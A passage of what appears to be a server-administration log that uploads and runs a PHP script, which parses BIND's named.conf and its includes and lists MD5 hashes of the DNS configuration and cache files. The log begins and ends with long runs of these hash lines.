MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-31 19:41:37: Establishing a connection
2025-12-31 19:41:49: Establishing a connection
2025-12-31 19:41:49: 

PUT: /tmp/pkp884399

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 19:41:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp884399; rm /tmp/pkp884399'

2025-12-31 19:41:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
